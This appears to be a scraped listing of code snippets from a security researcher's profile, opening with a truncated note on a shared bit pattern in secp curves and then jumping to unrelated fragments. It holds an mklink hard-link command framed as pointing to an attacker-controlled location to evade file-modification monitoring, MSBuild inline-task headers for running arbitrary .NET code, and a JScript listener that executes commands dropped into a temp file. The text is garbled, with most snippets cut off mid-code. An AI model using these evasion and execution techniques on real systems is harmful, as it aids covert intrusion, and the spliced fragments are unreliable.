Casey secdev02

Shared Bits in secp###k1 Curves: A Cryptographic Vulnerability

This appears to be highlighting a significant cryptographic vulnerability in the secp256k1 and related elliptic curve implementations.

The Core Issue

The shared bit pattern 48ce563f89a0ed9414f5aa28ad0d96d6795f9c62 appears across multiple secp curves (160k1, 192k1, 224k1, 256k1), and as you noted, this looks suspiciously like a SHA-1 hash output.

Why This Is Problematic

Using Hard Links to point back to attacker controlled location.

mklink /h C:\Windows\System32\Tasks\tasks.dll C:\Tools\Tasks.dll
Hardlink created for C:\Windows\System32\Tasks\tasks.dll <<===>> C:\Tools\Tasks.dll

This can redirect the search to an arbitrary location and evade tools that are looking for filemods in a particular location.

xref: https://googleprojectzero.blogspot.com/2015/12/between-rock-and-hard-link.html

	using System;
	using System.IO;
	using System.Text;

	namespace FakeCloudFolder
	{
	class Program
	{
	static string CloudRoot = @"C:\FakeCloudRoot";

	<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003" >
	<Target Name="Hello" >

	<!-- Call ANY .NET API -->
	<!--

	Author: Casey Smith, Twitter: @_subTee

	License: BSD 3-Clause

	<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003" >
	<Target Name="Hello" >

	<!-- Call ANY .NET API -->
	<!--

	Author: Casey Smith, Twitter: @_subTee

	License: BSD 3-Clause

	// listener.js - Monitors a file for commands
	var fso = new ActiveXObject("Scripting.FileSystemObject");
	var shell = new ActiveXObject("WScript.Shell");
	var cmdFile = shell.ExpandEnvironmentStrings("%TEMP%") + "\\jscmd.txt";

	WScript.Echo("Listening for commands at: " + cmdFile);
	WScript.Echo("Send commands using: echo YOUR_CODE > " + cmdFile);

	while (true) {
	if (fso.FileExists(cmdFile)) {

	using System;
	using System.Collections.ObjectModel;
	using System.Diagnostics;

	/*
	Author: Casey Smith, Twitter: @_subTee

	License: BSD 3-Clause

	<?xml version='1.0'?>
	<data>
	<circle>
	<radius>12</radius>
	</circle>
	<circle>
	<radius>37.5</radius>
	</circle>
	</data>

	#!/usr/bin/env python3
	"""
	Script to compute a public key on secp256k1 using a custom generator point.
	"""

	import hashlib
	import base58

	# secp256k1 curve parameters
	P = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEFFFFFC2F # Field prime

	using System;
	using System.Diagnostics;
	using System.Runtime.InteropServices;
	using System.Text;

	public class TestClass
	{

	public TestClass()
	{}